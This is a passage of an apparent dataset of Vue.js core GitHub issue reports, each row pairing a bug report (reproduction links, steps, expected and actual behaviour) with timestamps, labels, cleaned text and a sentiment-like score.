[Playground](https://play.vuejs.org/#eNp9U01z0zAQ/Ss7OjkzqZMMnIJtBkgPcIAO9OiLY69TFVnS6MMNE/LfWUl1SKZNb9rdt09vvw7sk9b56JGtWWFbw7UDi85rEI3clTVztmZVLfmglXFwAIM9HKE3aoCaUV7NPpyiGxzUFzVoL1G6CZMvgit8EaGtkpa+cI3zFspAVyzhL6yqbDmjMP19zwdU3mXZDMoKDrWEZ3g+NsIjJa0IeJzDarmMOcUiCSeZZDgctGgckgVQXEpaJyIqKz1qBgvCFYuzJDKt+yMQbKs0dhWxB7Nic+oFqe/5Ln+0SlLDoraatcTPBZof2nGqrmbrpDrEGiHU07foc8bjfPK3D9j+fsX/aPfBV7M7gxbNSE07xVxjduhS+PbXd9zT+xQcVOcFod8I/kSrhA8aE+yzlx3JPsNFtV/jMLnc3dvbvUNpp6KC0IA8RnycfmjttdL/y32Xv495NDXq4rQOYeMuhzVZMN7w/jQkKMsSlnELA3HR8ZEAHYqbTg1V0zTFglyJ4XyQbxOurhFut9srhC/W5Pq5pC3XRumw5E/cPWywb7xwNgu0HfZc4l0IF8/9StI+riFeA2019avKZrHVFxBCRCd1Myx/+mncoNjQuZUJOygvHXYZitmUjCI3dAsjZiErDfF4eTzs+A8K61fb)

### Steps to reproduce

我们项目中需要自定义指令通过权限来判断这个dom存不存在，当权限没有的时候会调用el.remove()来删除这个dom，这个问题就是出在没有权限的时候，我极度简化代码后大概是这样

<img width=""375"" height=""515"" alt=""image"" src=""https://github.com/user-attachments/assets/17b5d39d-29ea-407c-965a-c97398889786"" />

图片中的status控制着template渲染，v-del-dom会在mounted后删除div。

``` vue
<template>
  <template v-if=""status === 0"">
    <div v-del-dom>aaa</div>
  </template>
  <template v-if=""status === 1"">
    <div v-del-dom>bbb</div>
  </template>
</template>

<script setup lang=""ts"">
const props = withDefaults(
  defineProps<{
    status?: 0 | 1;
  }>(),
  {
    status: 0,
  }
);
const vDelDom = {
  mounted(el) {
    el.remove();
  },
};
</script>

<style lang=""scss"" scoped></style>
```

下面是调用这个组件的代码
... [TRUNCATED]",,2025-08-08 06:40:26+00:00,2025-08-09 01:48:52+00:00,2,nan,0.7975,deleting el via a custom directive and patching throws an error due to parent being null vue version link to playground dom el remove dom status template v del dom mounted div truncated,bug,-0.4588
vuejs/core,3301822530,`useTemplateRef` is not reactive when used with v-for,"### Vue version

3.5.19

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU1mL2zAQ/itCL0lI4lC2C2WbuMey0PahLdtAXwTFtceJdmVJ6PCmGP/3juT1kR4L7VOi+Q59MyM39I3WSe2BXtGtzQ3XjlhwXqdM8kor40hDvIU9VFpkDm6hJC0pjarIDFWzlxOagXJFclVp76A4YzHJZK6kdYQ7qK6Vl47sAn9+uUCHHjyCEApvsAie3zmfBeG7gM8Wvwh6u/7m+XxBduloltSZ8PAqESAP7jhRB8uvyojiMYv0QiDcgQ8B+Iv1IPzNervpZojTwwPSYgN4ImT73TunJHE/NOwY7U6Mkte54Pk9VobRrNdYTtfbTcf5R/VyGdTLc7XVmUz3mTmAI5F1RZpmkLQt5g6MyC14ncZJj8zpoAM5UAZuN8KRO5ncyO3ZpF6XyoS8hMvxNWBk3MBjG/FyRrsQ/2MQE6FB/O0NtpvJOuiKOouLLvkhubNK4utvwg2MhlVzAeaTdhwfAqPYU0AClmGehw+x5oyHVV/Pj5Df/6F+Z0+hxuhnAxZMDYwOmIvL6OCbLx/hhP8HsFKFF8h+ArwFq4QPGTvaWy8LjD3hxbTv48fJ5WFvb04OpO2bCkEDs418RvEzvX6i9THuRfI86phscYrfajDBEwd4kVwmz17Q9idZo3te

### Steps to reproduce

1. Open reproduction link
2. Use the '+' and '-' buttons to change the target count
3. Observe the counts of the different kinds of template refs

### What is expected?

Both of the computed values to calculate the ref counts should match the target count since that many of each ref is present.

### What is actually happening?

The version using `useTemplateRef` (""hello"") is stuck at the starting value and does not update reactively.

The version using the pre 3.5 syntax (""world"") updates reactively like I would expect.

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (8) x64 11th Gen Intel(R) Core(TM) i7-1165G7 @ 2.80GHz
    Memory: 9.07 GB / 31.73 GB
  Binaries:
    Node: 22.17.0 - C:\Program Files\nodejs\node.EXE
... [TRUNCATED]",,2025-08-07 20:46:40+00:00,2025-08-08 00:36:57+00:00,0,nan,0.1599,is not reactive when used with v for vue version link to open use the and buttons to change the target count observe the counts of the different kinds of template refs what is expected both of the computed values to calculate the ref counts should match the target count since that many of each ref is present what is actually happening the version using hello is stuck at the starting value and does not update reactively the version using the pre syntax world updates reactively like i would expect system info shell system os windows cpu x th gen intel r core tm i g ghz memory gb gb binaries node c program files nodejs node exe truncated,others,0.6808
vuejs/core,3293277625,`onTrigger` never called with computed ref,"### Vue version

3.5.18

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUl1r2zAU/St3YuAEjMfoBiNrC9vIwwr9oO2joDXOteNWlox0lQSM/3uv5MZ1oC3tg8HW+fC556oTf9o223gUC3HsClu3BA7Jt6dS101rLEEHFssUCtO0nnCVwjanYr0sSywIeiitaSBhh+S31FIXRjuCTa7gJOhmyRqVMsn8BXOmwX/PZkza+85mczg5hfuvHYszfjz2X+5T6KQGMPrW5sXjAgZSMDIKM2WqWUIBGW2SeboX1FWF9g1JxA5Ffcw4Ge450VQ5Rpt/ONjE8FPZDnT7dAfMc0851boKbXP9TBjjca/J1li1SoLq+NuwWd4pfxA2rcoJ+Qug6w730feBPqGIVJDj35Z1lT04o/mexMGlCOXVCu1lSzXHkmIxVBKwnHe+PYtnZD3GsaNmjcXjK+cPbhfOpLiy6NBuUIoRo9xWSAO8vLnAHb+PYGNWXjH7HfAauTIfMg60v16vOPaEF9P+j7ed67x1yx2hdvuhQtDA7CNfCr7qoa63Rn+Je5T9iDpeHrd4t0EbPLnAo+xn9v2X6J8AkXosGQ==

### Steps to reproduce

Look at the console output.

### What is expected?

We should see `trigger computed` logged out from the `onTrigger` function being called.

### What is actually happening?

Only the `onTrack` function for the computed ref is being called.",,2025-08-05 14:08:28+00:00,2025-08-06 01:22:54+00:00,2,nan,0.4684,never called with computed ref vue version link to look at the console output what is expected we should see logged out from the function being called what is actually happening only the function for the computed ref is being called,others,0.0
vuejs/core,3287235707,"Under special conditions, the blockStack will grow indefinitely, leading to a memory leak.","### Version
3.5.18

### Reproduction link
[stackblitz.com](https://stackblitz.com/edit/vitejs-vite-photcihh?file=src%2Fviews%2Ftest-table.vue)







### Steps to reproduce
- npm install && npm run dev
- Open the Chrome browser and visit the home page.
- For specific operations, please check the following video.

**Video Proof**: [Click to view](https://www.loom.com/embed/b89c71cc570b4af2ad971bcae073ef7f?sid=e9d235fb-8279-4560-a698-558a49e29cff)  



### What is expected?
Once the operation is stopped, the length of the ```blockStack``` array in ```runtime-core.esm-bundler.js``` should be reset to 0.

停止操作后，文件```runtime-core.esm-bundler.js```中```blockStack```长度应该为0.

### What is actually happening?
Once the operation is stopped, the length of ```blockStack``` in ```runtime-core.esm-bundler.js``` will grow indefinitely, causing a memory leak.

---
> If the line of code ```<div v-if=""row.editConfigs[item.prop]"">aaaa:</div>``` doesn't exist in the ```src/views/test-table.vue```e file, there won't be any problems.

> 如果src/views/test-table.vue文件中没有```<div v-if=""row.editConfigs[item.prop]"">aaaa:</div>```这行代码，就不会有问题

<!-- generated by vue-issues. DO NOT REMOVE -->",need more info,2025-08-03 14:36:15+00:00,2025-11-05 13:53:07+00:00,6,need more info,93.97,under special conditions the blockstack will grow indefinitely leading to a memory leak version stackblitz com npm install npm run dev open the chrome browser and visit the home page for specific operations please check the following video video proof click to view what is expected once the operation is stopped the length of the array in should be reset to what is actually happening once the operation is stopped the length of in will grow indefinitely causing a memory leak if the line of code doesn t exist in the e file there won t be any problems src views test table vue,others,-0.1531
vuejs/core,3280844037,Computed value behaviour that I am not expecting,"### Version
3.5.18

### Reproduction link
[play.vuetifyjs.com/](https://play.vuetifyjs.com/#eNqNU8FOwzAM/RWTA92krhMgJJjWSXwAHBA3hkRoXBYpTUOaTEil/46TlNGxC5fNeX5+frbV5551tlreGVPsPbIVWztsjOION1sNsN4vuDExjI+6tQ3sF00rUJVbtudKii0b85FRtdpxqdEewAg7/HSLWqISvzBMlDRvcMumuZ0UuBBIYqojAveuPSYo/hZLH05KV9YrDEVB9THE0/xy4uy+FZJciRX0PZCX+IBhOAy0PJ0oYGEPaUH0SBtaLyebo2dXWWkcdOi8Ia/6nfw4MhLLZGNa66CHqm2MdyhysFjDALVtG8joFFkQAcrrzkGYA8pAmWVP2Lls/puLNxiTNVcdTnKHicpDo9lsDuUG+jSLrGEWBQr69Tj/wYHknLca+tB6FQ0kyria8W9kaa9UAAbqfew6bp/aPyd+lAj9z85S+PUF2SN+eGlRFFn+hxW8UXR+nqBCoX53O9iUcDkPpa/3UsMlVDtueeXQdq//VFiXcHE9SvBPik80XsJF0w3pYmzI2VVxXVzcsBDcFlcsj8vOjz6fhL18A3oHCmM=)







### Steps to reproduce
Open developer console, and remove one character from the text input. You will get an error in the console saying that the name is too short, when it should not happen, since the computed value should be ""not null"" if the form is valid.

### What is expected?
I am computing a value only if the form is valid, so I have a condition like:

if (valid.value) {
// instantiate object that throws an error if the values are not valid
}

But it seems that the object is instantiated even though the form is invalid.

### What is actually happening?
The computed value depends on several refs:

- name
- valid

and my feeling is that it gets triggered when the form is valid, but the name ref is still not updated. Therefore it is trying to instantiate an object with an ""old"" value for the name.

<!-- generated by vue-issues. DO ... [TRUNCATED]",,2025-07-31 15:15:16+00:00,2025-07-31 16:55:34+00:00,2,nan,0.0697,computed value behaviour that i am not expecting version play vuetifyjs com open developer console and remove one character from the text input you will get an error in the console saying that the name is too short when it should not happen since the computed value should be not null if the form is valid what is expected i am computing a value only if the form is valid so i have a condition like if valid value instantiate object that throws an error if the values are not valid but it seems that the object is instantiated even though the form is invalid what is actually happening the computed value depends on several refs name valid and my feeling is that it gets triggered when the form is valid but the name ref is still not updated therefore it is trying to instantiate an object with an old value for the name generated by vue issues do truncated,others,0.8739
vuejs/core,3279635977,`_cache` is not initialized in SSR,"### Vue version

c875019d49b4c36a88d929ccadc31ad414747c7b

### Link to minimal reproduction

https://play.vuejs.org/#__PROD____SSR__eNqlUk1PwzAM/StWLuuk0h3gNHVDDHEAiQ8B4kI4lM7bAm0SJe6YNPW/46TbQIyPA4e2eX7287ObtTixNls2KIYiJ6xtVRCOpQbIp2oZD3xcHhTWbkCEdaE08AdrM5Li8UmKHRv5Z9LjSUNkdD7o0K6YcajeSjPcaueDrmU++GSEoS+dsgQeqekSVW2NI1jDFGdK46lhrFFTCgtoYeZMDT0eqRdyw1Ma7QkeeFIYfa1J1p2RqD6ExDpjVylr+8qQh7YPozEk8b1Iemywl3ZUxkJFU9FxlvT7QaON702vy7CgP5vti+8rTeh/Qvmg299YpII8i87UPHvxRvMfjypSlCyrKnTXlhQ3lWIIG30piqoybxcxRq7BdBsvF1i+fhN/8asQk+LGoUe3RCl2HBVujtTRZ3dXuOLzjqzNtKk4+xfyFr2pmuCxS5s0esq2P+VFt+fxeig9v/dnK0Ltt0MFo3EtMV8KviNhoz+N/mH3MDuKdVK3on0HBRADgg==

### Steps to reproduce

Same issue as https://github.com/vuejs/core/issues/7644 but for `vMemo`, fixed by https://github.com/vuejs/core/commit/05f94cf7b01dd05ed7d3170916a38b175d5df292.

### What is expected?

Do not SSR

### What is actually happening?

`_cache[0]` is referenced without ever initializing or importing the cache. This results in a hard crash on trying to render the component.

### System Info


### Any additional comments?

_No response_","scope: ssr,:hammer: p3-minor-bug",2025-07-31 08:47:54+00:00,2025-08-21 02:03:17+00:00,0,"scope: ssr,:hammer: p3-minor-bug",20.719,is not initialized in ssr vue version c d b c a d ccadc ad c b link to same issue as but for fixed by what is expected do not ssr what is actually happening is referenced without ever initializing or importing the cache this results in a hard crash on trying to render the component system info any additional comments no response,bug,-0.9109
vuejs/core,3279155405,v-show can't work when component root vnode is Fragment,"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VN9v0zAQ/leOvLSTupQUkFBpisq0B0ACxPZGELLSa+fNtSPbyTpV+d+5c9IkHaxPie/Hd999vvMhWhVFXJUYzaOFy60sPCiht2kWebfPomWm5a4w1sMBNO79rcwfoIaNNTsYUdpo4Le4mcAaN1LjlSGjRu0ncGuFdtJLoyfwFbFYKVnhBHKKKD2un4FlOjfaedDlDlJGHCcXvXWVkPFZhfH4AtIlHDINBMpR7s48tsnelhjyAYR70jlsSp0zF7gTeq3wSlE/BBCyIWTGlVAlUv5GKIeNXTwKSZza/seEyFbi2AXP2FQ3lSz60mpoeC1IQQ5erGUFRoeC6aHxnZR71Z/qZf8/h0N/iL258Vbq7fiiXkwJ8Qjei9xa2oLVJSenA4i6JzGQoF7yfSRzyPkEO4ScvFv6HGWG2UnB6bOKiyl96glPidgR6dEqGUE9vLrZ+as7fzFDqZMXpT6R+J/uZue6S47dNZxxH2aa+IpShe/5kWMXUTsOdRswYJ0Sb/jIAzwnKcIAnXLvVgOkzlW5xvTwi0X8XR8l5xotHIvNmndJHfFML6bNGpMpHJ1/UuyPq0uijvZSkM60gcGiUFTYWpp+fHevczCFyKV/gsQBCocfqAhDdki8uEMcbxqMNm8Or5sUohRIRBN6VEiwjdzG985oenNCfBaxcFKh/V5wZZdFNPZN21kklDKPX4KN15kKNvb8DvOH/9jv+d2a088Piw5thVnU+bywW/SN+/rmGy30wLkz61JR9BnnT3RGlcyxCftU8pDZQVxg+zk8ibSnt+5675EEbZtiomF8Q3wW0aPH1/pS6z3dN/HbduxrUvFPhZYxScA38bs4eR/VfwH8te5l

### Steps to reproduce

1. click component 1  . now the v-show should hide element
2. clicl component 2.  now component1 should hide element

### What is expected?

component 1 should hide the element

### What is actually happening?

component 1 did not hide the element

### System Info

```shell

```

### Any additional comments?

if you change root component `<></>` to `<div></div>` . it will work perfect","has workaround,:hammer: p3-minor-bug",2025-07-31 05:18:47+00:00,2025-08-01 00:54:54+00:00,10,"has workaround,:hammer: p3-minor-bug",0.8167,v show can t work when component root vnode is fragment vue version latest link to click component now the v show should hide element clicl component now component should hide element what is expected component should hide the element what is actually happening component did not hide the element system info any additional comments if you change root component to it will work perfect,bug,-0.0258
vuejs/core,3274267951,defineProps sets a default value for a optional prop when using Generics in the props type,"### Vue version

3.5.18

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kdFLwzAQxv+VkCeF0SFTkJlVVPYwH3ToHgNS21vNTJOQXGuh9n/30rI5Qdan3n1fvvzu0vE755KmBj7nAqFyOkNIpZEoCtWkXYcQsO/FNFbSiOmRR4TcK4csANaO6cyUC8kxSE4atM56ZMog+G2WA9tQzmpfiU3KunhJTL+dsw37ZrUpYKsMFDfS9KSZ3JqAzHnrAluwUVzHSvzNerdWQ2aOI9L07JxixHQkJB4+ITJK3Koy2QVraFwCYEzy3FZOafDPDhXdKPk8ojH6JM+0tl+PQw99DZN9P/+A/POf/i60sSf52kMA34DkBw0zXwKO8vL1CVr6P4iVLWpN7hPiCwSr68g42u5pWsI+8g20qyouXplyE5Ytggn7oSJodPaDX3J684cTo//izpLL4Rw9C23xrQEfM2mBs+Qqubjm/Q/UkcSH

### Steps to reproduce

To reproduce this bug you need to define a type with generics, one of the props will be optional or the generic type.
in the componente, use defineProps<GenericInterface<boolean>>.
if the generic is using boolean as the generic type, the defineProps macro will set the attribute to `false` instead of leaving it as undefined

### What is expected?

The prop should have an `undefined` value.

### What is actually happening?

The prop is set to `false`

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (8) arm64 Apple M2
    Memory: 125.22 MB / 24.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.17.0 - ~/.nvm/versions/node/v22.17.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v22.17.0/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v22.17.0/bin/npm
  Browsers:
    Chrome: 138.0.7204.169
    Safari: 18.5
  npmPackages:
    vue: ^3.5.18 => 3.5.18
```

### Any additional comments?

_No response_",,2025-07-29 16:33:27+00:00,2025-08-02 14:02:18+00:00,1,nan,3.895,defineprops sets a default value for a optional prop when using generics in the props type vue version link to to reproduce this bug you need to define a type with generics one of the props will be optional or the generic type in the componente use defineprops if the generic is using boolean as the generic type the defineprops macro will set the attribute to instead of leaving it as undefined what is expected the prop should have an value what is actually happening the prop is set to system info any additional comments no response,others,-0.2263
vuejs/core,3265615550,Teleport fails on ssr if to is undefined on mount.,"### Vue version

3.5.18

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNqFUk1Lw0AQ/SvjXqogCVIEKbX4gQc9qKjHBUmTSV272V12J22l9L87u2mjSKm32XnvTd6bzFpcO5ctWhQjMQ6lV44gILVuIo1qnPUEa/BYwwZqbxsYMHUgTWlNIKDCz5DgMhKOW1NhrQxWJ9LkOQQGSZkZLBV9wNRWX7C0fh4SuEc+iJQBa8d5Z4MN8IOwcbog5BfAuFKLVHA5bYmsgatSq3J+KUU/rBskBUxiMc474r+y3r4Uk1T/VRJqTPsYke2F/JlRpUIx1Vhx86jv8gD0WymLgyvMpLaWw8VqOzLfzezS5V282O5Di1NBgddVq1n2Gazh37SOZClK2zil0T85UrxOKUaQkIgVWtvlQ+qRb/F01y8/sJzv6X+GVexJ8ewxoF+gFD22ixThu9dHXHHdg42tWs3sA+ALBqvb6LGj3fB22fYvXnJ7n46ND+Yt3K0ITdiFikYjc5P4UvAB3h6I/mN3mA2TTpoNb/F9gT7O5AUOs/Ps7EJsvgGzif1Q

### Steps to reproduce

Click any of the buttons when ssr is on and preview is refreshed

### What is expected?

No error, content displayed or moved to the correct dom postition

### What is actually happening?

Failed to execute 'insertBefore' on 'Node': parameter 1 is not of type 'Node'.

### System Info

```shell

```

### Any additional comments?

Filed this originally as #13549 but is was mistakenly marked as duplicate of https://github.com/vuejs/core/issues/11230",,2025-07-26 13:18:01+00:00,2025-07-26 13:33:20+00:00,1,nan,0.0106,teleport fails on ssr if to is undefined on mount vue version link to click any of the buttons when ssr is on and preview is refreshed what is expected no error content displayed or moved to the correct dom postition what is actually happening failed to execute insertbefore on node parameter is not of type node system info any additional comments filed this originally as but is was mistakenly marked as duplicate of,others,-0.8151
vuejs/core,3265406794,Vue crashes when a Symbol is passed to any prop with mismatched type in dev mode,"### Version
3.6.0-alpha.2

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNqFkl9PwjAUxb/KTV+ABDYjxgcYJGpI1AclYuJLEzO3yyh2bdN2iCH77t4V+aMx+LK095ze/W5PN+zKmGhVIRuwxGVWGA8OfWVApqoYceYdZ2OuRGm09XCLUuoXbWUOc6tLaEXxodS0aQ254irTynkoXQEjmH2Wb1q2O0OIY0h6ve8CmNQ5zEGQE9Mc9Byct0IVXCXxFoR+SxuPpZGpR9oBJEcAA+pPgPQlwuSIg5xJfHSMdWkKQpqLIlo6rWjUTdOMs0yXRki0j8YLQuZsAEFptJTafdyHmrcVdnf1bIHZ+x/1pVs3Nc6mFh3aFXK213xqC/RbeTJ7wDWt92Kp80qS+4T4hE7LqmHc2q4rlRP2kS/Q3oWQ6A6f3WTtUbndUA1o46yDnzMK6ubE6AfcfnQRznFV0y3+jPqfF5PjXCicWm1cEjpTUIN9xvW43TmddC5WYQGw2YSnVBMF1eOt8Dvh1xXaZl6i6keX0VkvlWaRRues/gK3ffem)


### Steps to reproduce
### Version

- Vue 3.5.17 (Vite 7, created via `npx create vite@latest` using `vue` template)
- Vue 3.6.0-alpha.2 (SFC PlayGround)

### Reproduction

Only in **development mode**, the following code will **crash at runtime** due to an unhandled `TypeError`.

```vue
// src/components/HelloWorld.vue
<script setup lang=""ts"">
defineProps<{ msg: string }>();
</script>

<!-- src/App.vue -->
<script setup lang=""ts"">
import HelloWorld from './components/HelloWorld.vue';

const msg = Symbol(); // Intentionally wrong type
</script>

<template>
  <HelloWorld :msg=""msg"" />
</template>
```

### What is expected?
Vue should log a prop validation warning, such as:
```
[Vue warn]: Invalid prop: type check failed for prop ""msg"". Expected String with value ""Symbol()"", got Symbol with value Symbol.
```

### What is actually happening?
Instead, in dev mode, it throws a runtime error an... [TRUNCATED]",,2025-07-26 10:10:48+00:00,2025-07-26 12:52:50+00:00,1,nan,0.1125,vue crashes when a symbol is passed to any prop with mismatched type in dev mode version alpha play vuejs org version vue vite created via using template vue alpha sfc playground reproduction only in development mode the following code will crash at runtime due to an unhandled what is expected vue should log a prop validation warning such as what is actually happening instead in dev mode it throws a runtime error an truncated,bug,-0.7184
vuejs/core,3260133002,Performance tracing gradually slowing down Firefox,"### Vue version

3.5.18

### Link to minimal reproduction

https://jsfiddle.net/a2o6h7mp/ (with Quasar)

https://jsfiddle.net/2f1g56uo/ (with Vue only)

### Steps to reproduce

- open repro in Firefox
- click Update button a bunch of times
- watch the time it takes to update getting longer and longer

### What is expected?

- each update take roughly the same amount of time

### What is actually happening?

- each update is getting slower and slower

### System Info

```shell
System:
    OS: Linux 6.15 Arch Linux
Browsers:
    Firefox: 140
```

### Any additional comments?

_No response_",:hammer: p3-minor-bug,2025-07-24 14:35:00+00:00,2025-07-25 00:48:58+00:00,0,:hammer: p3-minor-bug,0.4264,performance tracing gradually slowing down firefox vue version link to with quasar with vue only open repro in firefox click update button a bunch of times watch the time it takes to update getting longer and longer what is expected each update take roughly the same amount of time what is actually happening each update is getting slower and slower system info any additional comments no response,bug,-0.296
vuejs/core,3259396032,Multiple v-else directives silently ignored after v-if,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNkU9LxDAQxb/KmEsV1l10PS1dwT8L6kFFBS+5lHZas6ZJSNJaKP3uTlJ27UGWvSXv/RjevOnZjTHztkG2YqnLrTAeHPrGXHMlaqOthx4sljBAaXUNCaEJV1zlWjkPtatgHfzT5AGl1PCprSxOkjOu0sU4jgbRx2NtZOaRfgBpIVpoz0W55qzMpEPOog5wT8ZFRBbETGEkbAJdHgMtj4GuplC6mARlM+Yd7VmKar51WlFFfYA5y3VthET7YrygHjhbQXSCl1ENP09R87bB2U7PvzD//kffui5onL1adGhbKmPv+cxW6Ed78/6MHb33Zq2LRhJ9wHxDp2UTMo7YbaMKij3hYtrHeGihqg+36Twqt1sqBA3kEHnO6Ph3B1b/i7ucx1oHrgY2/AIArsUU

### Steps to reproduce

Add an element with a `v-if` condition.

Add a `v-else` element right after it.

Add one or more additional `v-else` elements after that.

Only the last `v-else` is recognized. The rest are silently ignored.

### What is expected?

This syntax should either:

- throw a compile-time error, or
- 
- trigger a warning, or
- 
- at the very least, be caught by the Vue ESLint plugin as invalid usage.

Allowing multiple `v-else` blocks after a single `v-if` is logically invalid and likely always unintentional. It can lead to subtle bugs and confusion during development.



### What is actually happening?

No errors or warnings are shown. Only the last `v-else` is used, and the rest are ignored without any indication.

This makes it easy to introduce bugs, especially in larger templates or when components are modified over time.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: compiler,🔩 p2-edge-case",2025-07-24 10:31:38+00:00,2025-07-25 00:30:06+00:00,0,"scope: compiler,🔩 p2-edge-case",0.5823,multiple v else directives silently ignored after v if vue version link to add an element with a condition add a element right after it add one or more additional elements after that only the last is recognized the rest are silently ignored what is expected this syntax should either throw a compile time error or trigger a warning or at the very least be caught by the vue eslint plugin as invalid usage allowing multiple blocks after a single is logically invalid and likely always unintentional it can lead to subtle bugs and confusion during development what is actually happening no errors or warnings are shown only the last is used and the rest are ignored without any indication this makes it easy to introduce bugs especially in larger templates or when components are modified over time system info any additional comments no response,others,-0.9578
vuejs/core,3255223885,v-model on reactive objects generates invalid assignment code causing rolldown build failures,"### Vue version

3.5.18

### Link to minimal reproduction

https://stackblitz.com/~/github.com/Ray-D-Song/vue-reactive-re-assignment

### Steps to reproduce

```bash
pnpm build
```

### What is expected?

The application was successfully built.

### What is actually happening?

The app can run in dev mode, but the build will fail.
```log
✗ Build failed in 279ms
error during build:
Build failed with 1 error:

[ILLEGAL_REASSIGNMENT] Error: Unexpected re-assignment of const variable `form`
    ╭─[ src/App.vue:20:68 ]
    │
 11 │ const form = reactive({
    │       ──┬─  
    │         ╰─── `form` is declared here as const
    │ 
 20 │       ""onUpdate:modelValue"": _cache[0] || (_cache[0] = $event => ((form) = $event))
    │                                                                    ──┬─  
    │                                                                      ╰─── `form` is re-assigned here
────╯
```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (10) arm64 Apple M1 Pro
    Memory: 91.20 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 24.3.0 - ~/.nvm/versions/node/v24.3.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v24.3.0/bin/yarn
    npm: 11.4.2 - ~/.nvm/versions/node/v24.3.0/bin/npm
    pnpm: 10.12.4 - ~/.nvm/versions/node/v24.3.0/bin/pnpm
  Browsers:
    Chrome: 138.0.7204.168
    Safari: 18.5
  npmPackages:
    vue: 3.5.18 => 3.5.18
```

### Any additional comments?

The core reason is that the Vue compiler generates code simila... [TRUNCATED]",,2025-07-23 07:28:32+00:00,2025-07-23 08:16:31+00:00,4,nan,0.0333,v model on reactive objects generates invalid assignment code causing rolldown build failures vue version link to what is expected the application was successfully built what is actually happening the app can run in dev mode but the build will fail system info any additional comments the core reason is that the vue compiler generates code simila truncated,others,-0.5994
vuejs/core,3254942603,Memory leak on nuxt,"### Vue version

between 3.5.14 and 3.6

### Link to minimal reproduction

X

### Steps to reproduce

X

### What is expected?

All informations is here https://github.com/nuxt/nuxt/issues/32240 ;-)

### What is actually happening?

X

### System Info

```shell

```

### Any additional comments?

_No response_",can't reproduce,2025-07-23 05:37:32+00:00,2025-07-28 00:12:53+00:00,2,can't reproduce,4.7745,memory leak on nuxt vue version between and link to x x what is expected all informations is here what is actually happening x system info any additional comments no response,others,-0.5574
vuejs/core,3254221437,[Vapor] SVG elements with `v-for` are not rendered correctly,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1P4zAQ/Suz3itJS2lX2pBdCRAHOADi62QJuek0MXVty3ZCKtT/zjglCQeET2/mPY+fn/3OzqxNmxpZxnJfOGkDeAy1hUZY40AJXf7jLHjO/nOdTw4SglQE3FolAlIFkPumhOxNrkJF+tliyhlkFcqyCkPtw04hVUtRbEpnar3KQBuNp7BW2GZwfNqdArTy8hMQ/JUkPX7yUpdEQpOsjaNREqSGBW2DpUOx8b0wSZJxwDiLCiU1QntMe6OlXQSduXY2+NxF+OnYmU20/Hs6HetkJXwlnBM7YuYwJ2Iynjbpj+sRpdZElE++JMaOKNTC6LUs01dvNOX/HsWcFWZrpUJ3a4M0moLPoGMiJ5Qyb9ddL7gaj/p+UWGx+ab/6tvY4+zOoUfXIGcDF4QrMRzoy4cbbAkP5NasakXqH8h79EbV0eNBdk7vSba/6Dq3V1v6R4Ge7dFftgG17y8VjUblvtNzRp/w4oerj3ZP0nm3j+s9pfjSoIszKcCT9E86TYSylUhnkQr+eSAX6V8ilxgE238A9QjoCg==

### Steps to reproduce

Open REPL

Replace `<g>` with `<g v-for=""i in 5"">` (and add a key if you want

### What is expected?

See dotted black line

### What is actually happening?

No dotted black line

### System Info

```shell

```

### Any additional comments?

_No response_",":sparkles: feature request,scope: vapor",2025-07-22 22:11:22+00:00,2025-11-10 06:13:21+00:00,4,":sparkles: feature request,scope: vapor",110.3347,vapor svg elements with are not rendered correctly vue version alpha link to open repl replace with and add a key if you want what is expected see dotted black line what is actually happening no dotted black line system info any additional comments no response,feature,-0.4767
vuejs/core,3251637357,[Vapor]There was an error returning to the normal page from the Vapor page,"### Vue version

3.6.0-alpha.2

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-wvzthfnn?file=src%2Fcomponents%2FvaporPage.vue

### Steps to reproduce

1. First click the ""Vapor Page"" button, the page displays ""Vapor page""
2. Switch and click the ""common page"" button again, an error message appears

### What is expected?

When you click on ""common page"" in the second step, the page should be the same as the first time you enter. It should display the content ""common page""

### What is actually happening?

Nothing to display. An error occurred

<img width=""2401"" height=""451"" alt=""Image"" src=""https://github.com/user-attachments/assets/0bd37b9f-d14f-4853-aa4d-7fa1370f714b"" />

### System Info

```shell

```

### Any additional comments?

The problem can be solved by removing the vapor tag in vaporPage.vue. ",,2025-07-22 08:19:47+00:00,2025-07-22 09:53:52+00:00,1,nan,0.0653,vapor there was an error returning to the normal page from the vapor page vue version alpha link to first click the vapor page button the page displays vapor page switch and click the common page button again an error message appears what is expected when you click on common page in the second step the page should be the same as the first time you enter it should display the content common page what is actually happening nothing to display an error occurred system info any additional comments the problem can be solved by removing the vapor tag in vaporpage vue,bug,-0.8625
vuejs/core,3251054745,An error occurred in <template> after the update,"### Vue version

3.0.2

### Link to minimal reproduction

https://github.com/shshouse/core.git

### Steps to reproduce

<img width=""1498"" height=""130"" alt=""Image"" src=""https://github.com/user-attachments/assets/9915a033-fbb8-406c-8bfd-8a5ba2c4ed9d"" />
When in vscode, an error will always be displayed in front of the <template> tag, and the only way to solve it is to roll back the version.

### What is expected?

Please add the vueCompilerOptions configuration to specify the global type path.

### What is actually happening?

an error will always be displayed in front of the <template> tag

### System Info

```shell
win11,vscode
```

### Any additional comments?

in vscode",,2025-07-22 04:55:39+00:00,2025-07-22 06:01:19+00:00,1,nan,0.0456,an error occurred in after the update vue version link to when in vscode an error will always be displayed in front of the tag and the only way to solve it is to roll back the version what is expected please add the vuecompileroptions configuration to specify the global type path what is actually happening an error will always be displayed in front of the tag system info any additional comments in vscode,bug,-0.7096
vuejs/core,3248492407,Arco Design tooltip position bug that occurs when upgrading from Vue 3.4 to Vue 3.5,"### Vue version

3.5.17

### Link to minimal reproduction

